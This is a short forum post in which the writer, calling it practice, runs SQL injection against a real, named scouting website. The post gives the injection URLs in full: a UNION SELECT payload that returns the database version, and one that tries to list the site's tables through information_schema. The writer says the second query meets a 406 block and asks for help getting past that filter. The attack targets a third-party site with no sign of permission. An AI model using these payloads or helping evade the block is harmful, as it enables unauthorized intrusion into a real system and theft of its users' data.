I've been practicing SQLI..

I found this one site:
http://www.scouttalk.ie

I know it is injectable because when I get to here
http://www.scouttalk.ie/clan.php?orgID=null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,version(),18,19,20,21,22--

I get the database name: 5.1.63-cll

However when I go further:
http://www.scouttalk.ie/clan.php?orgID=null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19,20,21,22 from information_schema.tables where table_schema=database()--

I get a 406 NOT ACCEPTABLE error.

I know I'm most likely being blocked due to my injection method, I've tried things such as adding comment tags etc, googled around but I'm stuck.

Can someone please help me bypass this so I can get further?